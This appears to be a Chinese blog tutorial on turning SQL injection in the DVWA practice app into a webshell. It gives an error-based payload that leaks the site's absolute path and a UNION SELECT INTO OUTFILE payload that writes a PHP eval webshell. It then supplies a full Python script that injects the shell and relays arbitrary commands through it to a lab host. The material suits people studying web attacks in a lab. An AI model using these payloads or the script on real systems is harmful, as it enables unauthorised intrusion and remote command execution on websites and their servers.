1. 程式人生 > >DVWA從註入到GETSHELL

DVWA從註入到GETSHELL

共勉 ria head gets mysql cep min cookie 流程

好好過你的生活,不要老是忙著告訴別人你在幹嘛。

最近在復習學過的東西,自己就重新搭了個dvwa來學習新思路,寫一些簡單的腳本來練習寫代碼的能力。

眾所周知SQL註入的危害是相當大的,對於每個老司機來說,如果發現註入點並可以利用的話,除了脫褲當然是猜解出管理員的用戶名密碼,後臺登陸上傳webshell了,雖然這些過程並不一定一路通順,只是一般的流程,中途會遇到各種各樣的問題,這些以後再說,當我這個菜比都學會了在分享出來吧。

今天我們說說利用sql註入漏洞寫入webshell。當我們發現了註入漏洞,但是卻找不到後臺,該怎麽辦呢,如果數據庫管理員權限比較大的話,我們可以通過sql註入向網站寫入shell。

寫入webshell的前提條件:

1.select into outfile方法可用(允許導出文件)

2.我們需要知道網站所在的絕對路徑

3.我們有足夠的權限

首先我們確定了註入點,接下來就是爆一下網站的絕對路徑:

在輸入框中輸入,1‘ union select ‘x‘,‘x‘ into outfile ‘xx‘ -- 利用錯誤的sql語句,使數據庫報錯並返回絕對路徑

技術分享圖片

現在已經獲得了網站的絕對路徑,接下來就是利用sql註入寫shell了,在輸入框中插入 1‘ union select "<?php @eval($_GET[‘cmd‘])?>","hello admin" into outfile ‘C:\\

phpStudy\\PHPTutorial\\WWW\\dvwa\\hello.php‘ (需要註意,是兩個"\") 點擊提交,我們看一下是否上傳成功

技術分享圖片

當我們輸入 select ‘xx‘ into outfile ‘xxxx/xx/xx‘ -- 時 可能會遇到一下情況:

技術分享圖片

解決辦法:找到my.ini文件 在最後一行加上一句 secure_file_prv="/"重啟mysql即可。

============================================================附上自己寫的自動化辣雞代碼=========================================================================

# -*- utf-8 -*-
import requests
import re


headers = {
	
‘Accept‘:‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8‘,
‘Accept-Encoding‘:‘gzip, deflate‘,
‘Accept-Language‘:‘zh-CN,zh;q=0.8‘,
‘Cache-Control‘:‘max-age=0‘,
‘Connection‘:‘keep-alive‘,
‘Cookie‘:‘security=low; PHPSESSID=pie6uqttjqtnadq1b5dp8640u1‘,
‘Host‘:‘192.168.86.129‘,
‘Referer‘:‘http://192.168.86.129/dvwa/security.php‘,
‘Upgrade-Insecure-Requests‘:‘1‘,
‘User-Agent‘:‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36‘

}

url = raw_input(‘url:‘)
print ‘=‘*15,u‘大爺稍等‘,‘=‘*15
payload = ‘%27+union+select+"<%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3F>"%2C"hello+admin"+into+outfile+%27C%3A%5C%5CphpStudy%5C%5CPHPTutorial%5C%5CWWW%5C%5Cdvwa%5C%5Chello.php%27+--+&Submit=Submit#‘
url1 = requests.get(url+payload,headers=headers)
url2 = ‘http://192.168.86.129/dvwa/hello.php‘
url3 = requests.get(url2,headers=headers)
url4 = re.findall(‘<body>(.*?)</body>‘,url3.text)
if ‘hello‘ in url3.text:
	print u‘webshell已寫入,路徑為:http://192.168.86.129/dvwa/hello.php‘
else:
	print u‘寫入失敗‘
print u‘大爺您請便!‘
url5 = ‘http://192.168.86.129/dvwa/hello.php?cmd=‘
url6 = raw_input()
url7 = requests.get(url5+url6,headers=headers)
url8 = re.findall(‘<body>(.*?)</body>‘,url7.content)

print url7.content

  

技術分享圖片

以此記錄自己學過的知識,以防忘記,每天進步一點,共勉。

DVWA從註入到GETSHELL